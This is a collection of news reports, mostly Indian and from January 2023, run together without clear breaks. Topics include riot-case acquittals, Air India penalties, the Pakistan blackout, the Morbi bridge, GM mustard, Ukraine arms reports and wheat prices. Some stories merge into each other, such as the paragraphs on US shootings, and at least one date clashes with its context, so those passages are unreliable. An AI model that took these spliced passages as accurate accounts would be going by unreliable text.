A court at Halol town in Gujarat's Panchmahal district on Tuesday acquitted 22 persons, accused of killing 17 members of a minority community, including two children, for want of evidence in a case stemming from the 2002 post-Godhra communal riots in the state.

The court of Additional Sessions Judge Harsh Trivedi acquitted all the 22 accused, eight of whom died during the pendency of the case, defence lawyer Gopalsinh Solanki said. "The court acquitted all the accused in the case of rioting and murder of 17 members of a minority community, including two children, in Delol village of the district for want of evidence, Solanki said. According to the prosecution, the victims were killed on February 28, 2002, and their bodies burnt with an intention to destroy evidence. Communal riots had broken out in different parts of the state a day after a bogie of the Sabarmati Express was torched by a mob near Godhra town in Panchmahal district on February 27, 2002, killing 59 passengers, most of them 'karsevaks' returning from Ayodhya. An FIR (first information report) was lodged under Indian Penal Code (IPC) sections pertaining to murder and rioting after the violence in Delol village. Another police inspector lodged a case afresh nearly two years after the incident and arrested 22 persons for their alleged involvement in the riots. The prosecution was unable to gather enough evidence against the accused persons, and even witnesses turned hostile, Solanki said.

The defence lawyer said the bodies of the victims were never found.

Police recovered bones from an isolated place on the banks of a river, but they were charred to such an extent that the identity of the victims could not be established, he said. "Because of lack of evidence, the court acquitted all the 22 accused, eight of whom died during the trial," he said.


Last week, the regulator had fined Air India Rs 30 lakh for violating rules while handling the first peeing incident, when ex-Wells Fargo vice-president Shankar Mishra allegedly urinated on a female co-passenger, on a New York-Delhi flight on November 26. The Directorate General of Civil Aviation (DGCA) has imposed a Rs 10 lakh fine on Air India for not reporting the second peeing incident to the regulator and for delay in referring the matter to the airline's internal committee. In this case, a male co-passenger had allegedly urinated on the vacant seat and blanket of a woman co-passenger on its Paris-Delhi flight of December 6.



The second peeing incident came to flight following media reports on January 5, after which the regulator issued a show cause notice to Air India. Under DGCA rules, the airline must inform the regulator of any unruly passenger incident within 12 hours of landing of the aircraft. The regulator had last week also suspended the pilot-in-command of the New York-Delhi flight for three months, and imposed a fine of Rs 3 lakh on the airlines director of in-flight services for failure to discharge duties.



About the second peeing incident, Air India submitted a reply to the show cause notice on January 23 and the same was examined, the DGCA said. The rules also specify that the airline's internal committee should be informed of the unruly passenger incident so that it can investigate the matter and impose a flying ban on the passenger of anything between three months and 24 months, based on the severity of the incident.

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Two incidents took place on the Paris-Delhi flight of December 6, as per the regulator. One incident was due to a drunk passenger who was allegedly caught smoking in the lavatory and another incident was the aforementioned one (called the second peeing incident) wherein a male passenger had urinated on the vacant seat and blanket of a female co-passenger. "Enforcement action in the form of financial penalty of Rs 10 lakhs has been imposed on Air India for not reporting the incident to the DGCA and delaying in referring the matter to its internal committee, which is a violation of applicable DGCA Civil Aviation Requirement (Rules)," it added.

Mishra, the accused in the first peeing incident, is currently in jail. His case is being heard at the Delhi High Court.




The concerns in particular pertain to Clause 3(1)(b)(v), which identifies the Press Information Bureau (PIB) of the Ministry of Information and Broadcasting, or any other agency authorised by the central government, as the body responsible for checking the factual accuracy of reports appearing on any social media intermediary in respect of any business of the central government. The Indian Newspaper Society on Tuesday expressed concern over the proposed draft amendments to the Information Technology Rules 2021 by the Ministry of Electronics and Information Technology (MeitY).



"By its own definition, the Press Information Bureau 'is the nodal agency of the Government of India to disseminate information to the print and electronic media on government policies, programmes, initiatives and achievements'," it added. "The Society is of the view that the proposed amendment will seriously impact the functioning of the press in India, and hand over the responsibility of checking statements relating to the central government to an agency of the central government and imbue it with the power of the law. This can give rise to mischief as it will allow the central government to arm itself with powers to proscribe any criticism of its actions," it said.



It further asked the ministry to drop the proposed amendment. It said that the step would "effectively muzzle criticism and even fair comment".

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"It asks that the Ministry initiate consultations with stakeholders to create a mechanism which, while ensuring factual accuracy of reports about the government's business on media sites, meets the highest standards of fairness and due process. The PIB or an agency of the central government is ill-equipped to play this role," it said.


India will become self-reliant only when farmers adopt innovations, new techniques and trends in agriculture to ensure maximum production from minimum land and investment, Lok Sabha Speaker Om Birla said on Tuesday.

Birla, along with Union Minister of State for Agriculture Kailash Choudhary, inaugurated a two-day agriculture fair and exhibition at the Dusshera Ground in Kota.

The Lok Sabha speaker said farmers are the backbone of India's economy and brought in the green revolution to make the country the highest producer of wheat in the world.

The focus should now be laid on the white revolution in the form of milk production and animal husbandry, aided by modern innovations and techniques, he said.

"It is the power of farmers (annadata) that they did not allow any shortage of wheat during the coronavirus pandemic when production had dropped in every sector," he said.

During the pandemic, the Narendra Modi government distributed free wheat to 80 crore people and it was possible because of farmers, he said.

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India will become self-reliant only when farmers adopt innovations, new techniques and trends in agriculture to ensure maximum production from minimum land and investment and sell the produce in the international market, Birla said.

Speaking on the occasion, Union Minister Choudhary urged the youth to take up farming as profession.

It is the responsibility of every government -- central as well as state - to help farmers as the country cannot be prosperous unless farmers are prosperous, the minister said.

Rajasthan Agriculture Minister Lalchand Kataria and Cooperative Minister Uday Lal Anjana attended the function.

More than 75 start-ups on agriculture and farming took part in the fair-cum-exhibition.
Nearly 220 million Pakistanis were left without power after a massive power cut was reported on Monday due to a breakdown of the country's national grid despite authorities' energy-saving efforts.

Officials noted that power was out in all major centers, including the nation's largest city, Karachi, and the capital, Islamabad, Lahore, and Peshawar. In a statement, Power Minister Khurrum Dastagir said that the failure of the national grid followed a "frequency variation" in southern Pakistan.

Pakistan's Nationwide Power Outage

Even through the night, authorities could not bring back power and lights to many of the affected areas. Pakistan commonly experiences power cuts, primarily blamed on mismanagement and a lack of investment in infrastructure. The last major incident occurred in October and lasted several hours before being resolved.

In a statement, the country's Energy Ministry said that the incident occurred at around 7:30 a.m. local time. Officials said that the grid suffered a loss of frequency, resulting in the breakdown. They added that they were making "swift work" to revive the system, as per BBC.

Dastagir said that the incident was not a "major crisis" and noted that officials had already started to restore power across Pakistan. However, many homes and businesses still had no electricity more than 12 since the beginning of the blackout.

The official said that several parts of the electricity were turned off overnight due to the demand for energy during the winter season being less than in the summer. The latter is when much of the country experiences scorching hot temperatures, resulting in people needing air conditioning and fans.

The power minister noted that the demand for electricity goes down nationwide during the winter season. This resulted in the government temporarily closing down power generation systems at night.

Read Also: North Korea's Uranium Mine Collapses

Restoring Electricity

Dastagir said during a press conference that Pakistani Prime Minister Shahbaz Sharif had already ordered a probe into the outage. He added that they were hoping that the electricity supply would be fully restored soon, according to the Associated Press.

In Karachi, power was back before midnight on Tuesday, and in several other major cities, including Rawalpindi, Quetta, Peshawar, and Lahore. In the latter, a closing notice was posted on the Orange Line metro stations as rail workers guarded the sites and trains parked on the rails.

A spokesperson for Karachi's power supply company, Imran Rana, said that the government prioritized restoring power to strategic facilities, such as hospitals and airports. NetBlocks.org, an internet-access advocacy group, said that data revealed a significant decline in internet access in Pakistan.

The group attributed the data to the power outage, saying that metrics indicated that connectivity was at 60% of normal levels because many users struggled to get online on Monday.

The power outage has also affected all aspects of daily life in Quetta, including hospitals, markets, and households. In a statement, Dr. Imran Zarkoon, the director of Balochistan's health department, said that the unavailability of generators caused services in health centers in suburbs of Quetta city to be adversely affected, according to CNN.

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AAP leader and Delhi Deputy Chief Minister Manish Sisodia on Tuesday accused Lieutenant Governor V K Saxena of issuing prosecution sanction by bypassing the city government.

He said this has led to a situation where those accused of committing serious offences against the State might walk away free.

Sisodia said it is the elected government that issues a prosecution sanction.

"Hon. LG's over-enthusiasm to bypass elected govt on every matter has created a crisis situation wherein many people accused of committing serious crimes against the state might go scot free," he said in a tweet.

The LG has issued "invalid Prosecution Sanctions bypassing the elected government," he said, without elaborating.

Under Section 196(1) of the Code of Criminal Procedure (CrPC), a valid sanction for prosecution from the state government is a prerequisite for certain offences, Sisodia said.

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It includes offences like hate speech, hurting religious sentiments, hate crimes, sedition, waging war against state and promoting enmity among others, he said.

"According to SC orders, it is the elected Government which has to exercises executive powers to issue a valid sanction for prosecution Under Section 196(1) CrPC, and Hon'ble LG will be bound by the aid and advice of the Council of Ministers," he said in a series of tweets.
The Morbi municipality has appealed to the Gujarat government to return documents seized by a special investigation team (SIT) probing the collapse of a bridge in the town so it could respond to the government's show-cause notice asking why the civic body should not be dissolved over the tragedy, which claimed 135 lives.

All the documents are with the government-appointed SIT and the Morbi municipality does not have any document, an official from the civic body has said.

The British-era suspension bridge on the Machchhu river in Morbi collapsed on October 30, 2022. The Gujarat government last week issued a show-cause notice to the Morbi municipality asking why it should not be dissolved for failing to discharge its duties.

In the notice, the state Urban Development Department directed the civic body to submit a written clarification in the form of a general body resolution by January 25.

The bridge was maintained and operated by the Oreva Group as per an agreement signed with the Morbi municipality.

The 52-member Morbi municipality held a meeting on Monday and passed a resolution urging the government to return documents seized by the (government-appointed) SIT so it could respond to the government's show-cause notice, the civic body's vice president, Jayrajsinh Jadeja, told reporters after the meeting.

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All the 52 elected representatives of the Morbi Municipality are from the Bharatiya Janata Party (BJP), which is in power in the state.

"Since all the documents are with the SIT and the Morbi municipality does not have any document, the municipality passed a resolution urging the government to return them as soon as possible so that it could reply to its notice," Jadeja said.

In the notice, the Urban Development Department said the previous contract to operate the bridge expired in 2017. Between 2018 and 2020, the Oreva Group had written several letters to the Morbi municipality warning about the dilapidated condition of the bridge and also cautioned that a serious accident may occur if the bridge remains open to the public in such a condition.

However, the civic body did not take cognisance of such warnings by the company, the notice said.

Moreover, the municipality did not take any concrete action to take over the bridge from the company in 2017 after the completion of the contract and remained inactive despite knowing the situation of the bridge, it said.

Notably, the state government had on December 13 told the Gujarat High Court, which took cognisance of the tragedy on its own and registered a public interest litigation (PIL), that it had decided to dissolve the municipality. The court had turned down the plea of the civic body members to be impleaded as a party in the case.

Nine persons, including four employees of Ajanta Manufacturing (Oreva Group), have been arrested so far in the case.

They include two managers and as many ticket booking clerks of the Oreva Group that was managing the British-era bridge.

The SIT had cited several lapses on part of the Oreva Group in repairs, maintenance and operation of the carriageway.

A Gujarat court last week also issued an arrest warrant against Jaysukh Patel, managing director of the Oreva Group, after getting an application for the same from police under section 70 of the Code of Criminal Procedure.

Patel, who is not named as an accused in the FIR, had moved the Morbi sessions court on January 20 for anticipatory bail fearing arrest in the bridge collapse case. The hearing was adjourned till February 1 as the public prosecutor was not present.
: A section of students of the University of Hyderabad (UoH) has screened the BBC documentary on Prime Minister Narendra Modi on its campus, prompting the University authorities to seek a report.

The documentary, was screened on Sunday by a group of students under the banner "Fraternity Movement- HCU unit", on the campus of the UoH, also known as Hyderabad Central University (HCU).

However, no permission was sought by the students group from the authorities before screening the documentary and they got know about it only after the members of ABVP complained to the varsity's Registrar in this regard, official sources at UoH said on Tuesday.

The University has asked for a report from its security wing over the matter, they said.

A police official said they have so far not received any complaint over the matter.

Meanwhile, Fraternity Movement in a twitter post on January 21 claimed that the BBC Documentary was screened on by Fraternity Movement- HCU unit.

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BBC documentary "India: The Modi Question" which was removed from YouTube screened in HCU by Fraternity Movement- HCU unit, the tweet said.

The Centre had issued directions for blocking multiple YouTube videos and Twitter posts sharing links to the controversial BBC documentary "India: The Modi Question".

The two-part BBC documentary, which claims it investigated certain aspects relating to the 2002 Gujarat riots when Prime Minister Narendra Modi was the chief minister of the state, has been trashed by the Ministry of External Affairs as a "propaganda piece" that lacked objectivity and reflected a "colonial mindset".
Prime Minister Narendra Modi on Thursday greeted the people of Uttar Pradesh on the state's formation day and said its progress in the last few years has drawn everyone's attention.

People of the state have set examples in different fields, he said, adding that it has been making valuable contributions in the country's development.

India's most populous state was formed on this day in 1950, incorporating the regions that came under the erstwhile United Provinces.
The attack on a Dnipro apartment building, which resulted in the deaths of 35 civilians, is just another instance of horrible human fatalities in Ukraine as Russia continues its airstrike assault.

According to reports, Vladimir Putin's forces struck one location 44 times over the weekend, including a kindergarten, while Russia and battalions commanded by Wagner Group mercenaries advanced in the country's east.

UK's Apache Helicopter

Then, the news that the British government would send a squadron of high-powered assault helicopters to aid Kyiv's army signaled that assistance was imminent. The United Kingdom will send Apache helicopters to Ukraine, according to many tweets sent on January 14 and 15, 2022.

Over 2.5 million people viewed a tweet by Ukraine Battle Map claiming that the United Kingdom will send four Apache attack helicopters equipped with Hellfire missiles to Ukraine. Since Russia's invasion of Ukraine last year, Western allies have provided several assault helicopters. The United States has donated twenty Mi-17s in addition to hundreds of other pieces of equipment, as per Newsweek.

The United States also reached an agreement with the Polish government in September 2022 to equip Poland with 100 Apaches manufactured in the United States, so enhancing NATO's fighting strength along the eastern border with Russia. Air support and anti-aircraft weapons have been crucial in the war against Russia, which has punctuated the combat with lethal bombings across the nation and the front line.

A shipment of Apaches, the most advanced types of which are faster than Russian attack helicopters, may have bolstered Ukraine's air superiority. The report appeared on several British news websites, such as the Daily Mirror and the Daily Star, and was also taken up by Russian official media.

According to the latter, a "top defense source" told the Sunday People that the Apache "will be a big game-changer." However, the helicopters have not been delivered to the Ukrainian military. A representative for the British Ministry of Defense informed Newsweek that no Apaches were being transferred to Ukraine, despite the absence of an official declaration.

The United Kingdom has yet to explain why or where the notion may have originated, although it has been open about its intended assistance to Ukraine. Following a meeting with Ukrainian President Volodymyr Zelensky on January 14, 2022, Prime Minister Rishi Sunak revealed that the United Kingdom would deliver Challenger 2 tanks and additional artillery systems to Kyiv.

If the government had opted to send Apaches, it would have undoubtedly been announced in one of these announcements. The United Kingdom is the second-largest military donor to Ukraine. Prime Minister Sunak stated that his government would fulfill or surpass the 2.3 billion expenditure pledge it made to Kyiv in 2022.

This contribution, however, pales in comparison to that of the United States, which, according to the Department of State, has contributed "roughly $24.3 billion" since February 24, when Russia started its planned, unjustified, and cruel attack against Ukraine.

The Ministry of Defense of the United Kingdom confirmed to Newsweek that Apache helicopters would not be supplied to Ukraine. Since then, the report has been withdrawn from the UK news sites where it was initially believed to have originated. Boris Johnson implores the West today to immediately provide Ukraine with the weaponry it needs to beat Vladimir Putin, as per Daily Mail.

In an exceptionally effective and impassioned rallying cry, the former prime minister asserts that if Kyiv receives the proper armaments, it can win the war this year. Johnson asserts that with hundreds of tanks and other armaments, it might be "game over" for Vladimir Putin, but he wonders, "What the hell are we waiting for?" in response to Germany and others' hesitation.

Britain is the only nation that has committed to deploying tanks to aid in the war against the Russians, but more than the 14 tanks already allocated will be needed to win the conflict.

Volodymyr Zelensky's requests that Germany surrenders up to 2,000 Leopard 2 tanks operated by NATO members have been disregarded. In a scathing critique of Berlin's excuses and delays, Johnson warned that the dithering was costing lives and generating economic distress worldwide.

In an apparent shot across Rishi Sunak's bows, he said there should be no idle British tanks in our nation when they may be deployed to free Ukraine. Johnson's call to arms followed his unexpected weekend trip to Ukraine. The former prime minister was summoned by President Zelensky, who has previously lauded him.

Under Johnson, the United Kingdom was the first to provide military help to Kyiv as Russian tanks crossed its borders eleven months ago. Johnson, who also demanded the prompt approval of Ukraine's NATO membership application, was spotted in Borodyanka, a town severely destroyed by Russian bombardment. He deemed it an "honor" to be present to demonstrate unity.

Johnson disregarded concerns that deploying tanks to Ukraine might intensify the battle, persuading Putin and his Kremlin allies to employ nuclear weapons.

Due to the political repercussions for Russia, he claimed he did not believe it "for one second." He predicted that Putin would lose China's assistance, which is now propping up the Russian economy, and that the populace would turn against him. According to Johnson, the Ukrainians are so courageous that even a nuclear weapon would not stop them from fighting.

Read Also: Australia Buys 'Powerful' Explosive Sea Mines

Russia Warns Against Supplying Ukraine With Weapons

Meanwhile, Russia issued a threat of retaliation against the United States and other Western nations if they furnish Ukraine with more potent weaponry, claiming that further military help from allies will result in a "global catastrophe."

Late last week, supporters of Ukraine pledged billions of euros in armored vehicles, air defense systems, and other armaments to the beleaguered European nation, although they did not include the German combat tanks that Kyiv had requested.

Ukraine has been searching for additional arms to prepare for a Russian attack in the spring. On Friday, defense officials from over 50 nations gathered in Ramstein, Germany, to discuss Ukraine's requests for further military assistance. According to NY Daily News, they made new pledges of aid but could not agree on delivering German-built Leopard 2 tanks.

Dmitry Medvedev, deputy director of the Russian Security Council, said on a messaging app channel that the conference in Germany "left no doubt that our adversaries would try to tire or perhaps kill us."

He added that Russia might build a military alliance with states that resist the United States. He did not identify anyone, but Russia was mentioned.

Related Article: Vladimir Putin Orders Massive Mobilization

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Meanwhile, six employee unions of Air India on Tuesday sent a joint petition to the DGCA to withdraw the pilot's suspension, calling it "harsh punishment". Air India said on Tuesday that it will be assisting the pilot in command of the New York-Delhi flight of November 26, on which the first urination incident took place, in appealing against last week's decision of Directorate General of Civil Aviation (DGCA) to suspend his licence for three months for "failing to discharge his duties".



Ex-Wells Fargo Vice President Shankar Mishra, who was on board the New York-Delhi flight, had allegedly urinated on a female co-passenger. Following the incident, the regulator had on January 20 suspended the pilot-in-command's licence for three months, imposed a Rs 3 lakh fine on the airline's director of in-flight services, and penalised Air India Rs 30 lakh for violating DGCA rules on handling of unruly passengers. In a statement, the airline said: "In light of the mitigating circumstances and the financial detriment already incurred by the crew during their period of de-rostering, Air India deems the licence suspension of the commander excessive and will be assisting him with an appeal."



Upon receipt of the voyage report, the ground staff did not challenge the crews assessment and, therefore, also did not report the matter as an unruly incident, it mentioned. The airline on Tuesday said that the pilot was kept regularly informed by the cabin crew about the developments pertaining to the incident. "In the judgement of the crew, the alleged perpetrator posed no risk to flight safety at any time," it added.

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"It should also be noted that, in the absence of witnesses to the alleged act, crew were being asked to make a presumption of the accuseds guilt which runs contrary to natural justice and due process," it stated. "Based on the absence of witnesses to the alleged act, that the alleged perpetrator was peaceful, co-operative and claiming ignorance of the event, that there was no risk to flight safety and that a resolution had been witnessed between the parties, the crew made a judgement call to record the matter as an (non-reportable) inflight incident rather than a (reportable) case of unruliness," it said.



"The cabin crew and ground staff have been counselled and have since returned to duty," the airline said. Mishra, the accused in the first peeing incident, is currently in jail and his case is being heard at the Delhi High Court. Air India said that notwithstanding the mitigating circumstances, based on the rules, it did not correctly classify and report the incident. The crew and ground staff have been issued warning letters to henceforth adhere strictly to rules when reporting incidents onboard, so that later investigation can assess the facts, it added.
By Rajendra Jadhav and Mayank Bhardwaj

MUMBAI/NEW DELHI (Reuters) -Indian wheat prices hit a fresh record high on Monday, following a delay in releasing extra stocks by the government to boost supplies and calm the domestic market reeling from shortages triggered by last year's lower crop, dealers and farmers said.

India, the world's second biggest producer of wheat, banned exports in May 2022 after a sudden rise in temperatures clipped output, even as exports picked up to meet the global shortfall triggered by Russia's invasion of Ukraine.

Record-high wheat prices despite the export ban indicate a far bigger drop in last year's output, traders say. According to government estimates, wheat output fell to 106.84 million tonnes in 2022 from 109.59 million tonnes a year earlier.

"Farmers have sold their crop, traders' are running out of stocks, but demand is robust," said Gopaldas Agarwal, a trader based in the central Indian city of Indore. "Demand-supply mismatch is pushing up prices, and prices will remain firm until supplies start from the new season crop."

Farmers plant wheat in October and November, with harvests from March.

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Wheat prices in the Indore market - a benchmark - jumped to a record 29,375 rupees ($361.09) a tonne, up nearly 7% so far this month after rising 37% in 2022.

In New Delhi, wheat prices rose nearly 2% on Monday to a record 31,508 rupees.

Local wheat prices could rise by another 5% to 6% unless the government releases stocks in the next 15 days, said a dealer with a global trading firm. He did not wish to be named in line with his company's policy.

"Even bulk consumers like wheat flour millers are struggling with lower supplies and higher prices," said Rajesh Paharia Jain, a New Delhi-based trader. "Clearly, for the government, there is no time for procrastination."

Authorities have repeatedly said the government would offer2 to 3 million tonnes of wheat from its reserves to help flour millers and biscuit makers as part of efforts to cool record-high prices.

($1 = 81.35 rupees)

(Reporting by Rajendra Jadhav and Mayank Bhardwaj; Editing by Shinjini Ganguli)
In the run up to the global investors' summit in Lucknow, district authorities on Tuesday inked 64 memorandum of understandings (MOU) for investment worth Rs 1,743.57 crore.

District Magistrate Mahendra Bahadur Singh after attending the Kheri investors and exporters' meet said, "64 MOUs executed on Tuesday intended to set up projects worth Rs 1,743.57 crore providing job opportunities to nearly 6,000 persons."



The investors and exporters meet was jointly organised by district industries department and the Kheri chapter of Indian Industries Association (IIA).

"The projects incorporated among the MOUs included establishment of bio-CNG (CBG) plants, bio energy plants, woods and timber industry, dairy development industries, eco-tourism establishments etc," he added.

The DM, while lauding the investors and assuring them full cooperation from the authorities, said "Located on India-Nepal border and the largest district of the state, Kheri had immense opportunities for startups and industries in agro, dairy, tourism and several other sectors."



Union minister of state for home Ajay Kumar Mishra, Lakhimpur MLA Yogesh Verma, Dhaurahra MLA Vinod Shankar Awasthi, IIA Kheri chapter president Deepak Agrawal, and its secretary Shiv Tolani were among those who addressed the investors' meet.
Union Cooperation Minister Amit Shah on Tuesday assured leaders from Maharashtra that the Centre would soon increase the export quota sugar and take steps to help the ailing sugar industry in the state.

Shah gave the assurance during a meeting with Maharashtra BJP leaders, who also have stakes in the sugar cooperatives sector. The state leaders were part of a delegation led by Maharashtra Chief Minister Eknath Shinde and his deputy Devendra Fadnavis.

"The export quota (for sugar) has been exhausted. Since Maharashtra is a coastal state, we can export sugar through our ports. The minister also took a constructive approach on the issue and assured us to increase the quota or take an appropriate decision in this regard," Fadnavis told reporters here.

The meeting was attended by BJP leaders Raosaheb Patil Danve, Pankaja Munde, Radhakrishna Vikhe Patil, Harshvardhan Patil, and Dhananjay Mahadik, among others.

Shinde said the delegation apprised Shah about the difficulties faced by the sugar sector with regard to working capital, margin money, funds for setting up standalone ethanol plants and issues of loan restructuring.

"The Cooperation Minister had a positive approach and assured us that a favourable decision will be taken within a week," Shinde said.

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A senior BJP leader said the export quota for sugar was fixed at 60 lakh tonnes and there was a need to increase it by at least 20 lakh tonnes so that the sector could benefit from the high prices of the sweetener in the international markets.

He said an early decision on increasing the export quota would enable Indian sugar producers to strike timely contracts and benefit from the prevailing high prices.

The leader said sugar prices were likely to soften after April when Brazilian sugar would be available in the international markets.

Asked about the absence of leaders from the Shiv Sena, Congress and NCP from the delegation, Shinde said there was no discrimination on party lines and it was the endeavour of the government to take steps to benefit the entire sugar industry.

Fadnavis said Shah also apprised the delegation of the proposal to strengthen Primary Agriculture Credit Society by bringing 20 additional matters under its ambit.


It is neither necessary nor desirable for a farmer to use herbicides in the cultivation of GM mustard. A crop is referred to as an HT variety if its commercial trait is HT. DMH-11(Dhara Mustard Hybrid-11) is not such a crop since the HT trait in DMH-11 is of no commercial utility, Attorney General R Venkataramani said in court. The government on Tuesday told the Supreme Court that genetically modified (GM) mustard was not developed as herbicide-tolerant (HT).



Venkataramani said the HT trait in DMH-11 was useful only at the selection event during the development phase and was of no utility during cultivation. Moreover, the use of herbicides by farmers is not permitted in cultivating GM mustard and will attract punitive action under the Environment Protection Act and Central Insecticides Act, he said. The court has asked all the parties in the case to finish their arguments next week.



A Bench of Justice Dinesh Maheshwari and Justice B V Nagarathna asked Venkataramani: What are the risks involved? The apex court said it was more concerned about the risk factors than anything else when it came to conditional approval granted by the Centre for the environmental release of GM mustard.

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At international level, regulatory authorities in the US, Canada, and Australia have allowed the cultivation of GE rapeseed containing the bar, barnase, and barstar genes. Parental lines and hybrids were released for cultivation in Canada in 1996, the US in 2002, and Australia in 2003, Venkataramani submitted. In regard to yield, the environmental release is the first step in a long process of evolution of this technology, which will lead to even better hybrids in future, the government said.



The Centre added the environmental release of GM mustard was granted for limited purposes such as developing new parental lines and hybrids under the supervision of the Indian Council of Agricultural Research (ICAR) and for undertaking seed production of GM mustard and its testing in accordance with guidelines of the Indian Council for Agricultural Research. Talking about the conditional approval that pertains to an environmental release before the commercial release and is subject to necessary regulatory and technical oversight, the Centre said the approval had been granted after following detailed and exhaustive procedures in law and after considering biosafety data and rigorous scrutiny over 12 years.



Lastly, the Centre said India imported and consumed oil derived from GM crops, and opposition to such technology based on unfounded fears was hurting farmers, consumers and industry. The Centre has objected to the alleged opposing final reports submitted by the Technical Committee of Experts formed under directions of the Supreme Court in 2012.



The apex court is hearing separate pleas by activist Aruna Rodrigues and NGO Gene Campaign. They are seeking a moratorium on the release of any genetically modified organisms (GMOs) until there is a comprehensive, transparent and rigorous bio-safety protocol in the public domain, conducted by independent expert bodies. On October 25 last year, the Genetic Engineering Appraisal Committee (GEAC) under the Union environment ministry approved the environmental release of transgenic mustard hybrid DMH-11 and the parental lines containing barnase, barstar and bar genes so they can be used for developing new hybrids.
Oil palm plantations raised in the Andaman and Nicobar Islands in the past have proven to be a total commercial failure, the Supreme Court-constituted Central Empowered Committee (CEC) has said, questioning the need to revive the commercial crop in the archipelago.

In a note submitted to the apex court on January 12, the committee said any permission for diversion of forest land for red oil palm plantation in the archipelago in violation of the Forest Conservation Act, 1980, "is bound to open flood gates in all the states for similar agricultural purposes on forest lands".

The CEC also said oil palm plantation might lead to encroachment of forest lands in the islands group and asked why the production of palm oil could not be taken up on the mainland.

The Union Territory administration, in January 2019, moved the Supreme Court seeking revocation of its 2002 ban on commercial and monoculture plantations on forest land in the Andaman and Nicobar Islands.

The proposal is part of the government's efforts to meet the vegetable oil shortage in the country and reduce its import burden.

The top court had asked the CEC to provide inputs on the Union Territory administration's proposal to lift the ban and divert 16,000 hectares of forest land for red oil palm plantations.

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"Since the focus of the proposal is on meeting the shortage of vegetable oil in the country, why cannot the production of palm oil be taken up on the mainland, where the oil palm plantations have been successfully raised," the committee's note submitted to the Supreme Court read.

It said red oil palm plantations raised in the Andaman and Nicobar Islands "prior to the enactment of Forest (Conservation) Act, 1980, proved to be a total commercial failure" and the Union Territory administration's application does not appear to adequately address the reason for raising fresh plantations in the Andaman forests.

"The Forest (Conservation) Act, 1980; FC Rules, 2022, and the guidelines issued thereunder strictly prohibit the diversion of forest land for agricultural purposes and any non-site specific activity. This being so any permission to raise red oil palm plantation or any other non-forest agricultural crop in the Island is bound to open flood gates in all the states for similar agricultural purposes on forest lands," the CEC observed.

It also noted that the 16,000 hectares of forest land where the palm oil plantations are proposed to be raised has not been identified and demarcated.

The application merely states that grasslands will be utilised for this purpose "without any specific reference to the existence of grasslands in Andaman and Nicobar Islands and location of such grasslands".

The Union Territory administration's application seeking modification of the Supreme Court's 2002 order, even without identifying and demarcating the required forest land on the ground, "appears to be an attempt by the applicants to bypass the due procedure and the scrutiny of the proposal under the provisions of the Forest (Conservation) Act, 1980", the CEC said.

The committee also said the raising and maintenance of 16,000 hectares of commercial plantations will require engagement of 32,000 plantation labourers on a continuous basis at a very conservative estimate.

It said the availability of such a large labour force in the islands is doubtful and the possibility of illegal migrants entering from neighbouring countries cannot be ruled out.

"The island is already facing a serious issue of encroachment of forest lands and from past experience, there is every likelihood of the plantation labourers and their families encroaching on forest lands," it panel said.

In 2021, the Centre launched the Rs 11,040-crore National Mission on Edible Oils-Oil Palm (NMEO-OP) with focus on oil palm plantations in the northeast and the Andaman and Nicobar Islands due to their favourable climate for the purpose.

India depends on imports to meet its requirements for edible oil and is its largest importer in the world.

During 2020-21, India imported around 133.52 lakh tonnes of edible oils, costing around Rs 80,000 crore, the Centre said in its operational guidelines, prepared last year, for NMEO-OP.

Of all the imported edible oils, the share of palm oil is about 56 per cent, followed by soybean oil (27 per cent) and sunflower oil (16 per cent).

Domestic edible oil production has not been able to keep pace with the growth in consumption, which is above 250 lakh tonnes.

Citing damage done to rainforests and biodiversity by oil palm plantations in southeast Asia, environmental experts have warned that their cultivation in the Andaman and Nicobar Islands could be disastrous.
The 126th birth anniversary of Netaji Subhas Chandra Bose, Parakram Diwas, was marked with tributes and a special diaspora portrait exhibition at the Indian High Commission in London.

The special event, hosted by the Indian High Commission in London on Monday evening, brought together community leaders and members of the British Bengali diaspora to pay homage to Netaji.

Sangram', an exhibition made up of portraits of revolutionaries who fought in the Indian freedom struggle drawn by members of the Indian diaspora from around the world, was displayed by Heritage Bengal Global (HGB) to mark the occasion.

Netaji Subhas Chandra Bose and his many feats of military and political courage live on, Indian High Commissioner to the UK Vikram Doraiswami said in his address, following floral tributes to a portrait of Netaji in the Gandhi Hall of India House.

The museum in his memory in Calcutta is well worth visiting to see the courage, daring and enterprise that he displayed in escaping from custody in house arrest, his extraordinary journey through India, his efforts to mobilise an army including prisoners of war all of this is the stuff of legend, he said.

The Indian envoy highlighted the legendary freedom fighter's selflessness, shunning a life of privilege and luxury in favour of the hard road to fight for the independence of his country.

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His message essentially was to reject the idea that had been imposed upon us since 1857, that the people of our subcontinent were largely not a martial race, that Indians couldn't actually fight...Netaji showed that was not true, he said, highlighting his forward thinking reflected in the diverse makeup of the Indian National Army (INA) which also had a women's wing.

Netaji's senior commanders represented all the faiths of India, he added.

The commemorative event involved patriotic music by the Bengal Heritage Foundation, including the moving INA battle anthem of Kadam, Kadam' and concluding with the Indian National Anthem 'Jana Gana Mana'.

A lecture by journalist and historian, Dr Vijay Rana, took the audience through the key moments in Netaji's military campaign for India's independence.

As part of the birth anniversary celebrations, Heritage Bengal Global has also launched a diaspora-led petition calling for direct flight connections between London and Kolkata. It was formally flagged off at the organisation's annual Saraswati Puja in west London on Sunday.


The deadliest shooting so far took place over the weekend in Monterey Park, California, where a gunman killed 11 people and wounded nine others inside a popular ballroom dance hall. Police said the gunman, who may have targeted his victims and who later killed himself, was a 72-year-old man. In the first three weeks of 2023, at least 67 people have been killed in mass shootings across the US, including two within days of each other in California.



A gunman killed seven people at two agricultural businesses in Northern California, plunging the state into mourning again in the wake of its third mass killing in eight days. Then, on Monday, came another deadly mass shooting in California.



Student from Telangana shot at in USA student from Telangana, K Sai Charan, has allegedly been shot at during a reported robbery attempt in Chicago, according to his parents. Officers arrested a suspect in Mondays shootings, 67-year-old Chunli Zhao, after they found him in his car in the parking lot of a sheriffs substation, San Mateo County Sheriff Christina Corpus said.

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He has been admitted to a hospital and is said to be out of danger. The incident happened on Sunday.

"We got information about this incident...We are in shock," Srinivas told TV channels.
Exchange of messages among different parties to revive a 2015 nuclear deal continues through different channels, the Iranian Foreign Ministry spokesman said.

The absence of formal negotiations on the revival of the deal does not mean an absence of interactions or message exchanges among the parties to the nuclear talks, Iran's official news agency IRNA quoted Nasser Kanaani as saying during a weekly press conference, Xinhua news agency reported.

The European Union's foreign policy chief Josep Borrell is interacting with the talks' different sides, including both Iran and the US, said Kanaani.

The spokesman said Iran is resolving the nuclear issue and seeking the removal of the US sanctions within diplomatic frameworks.

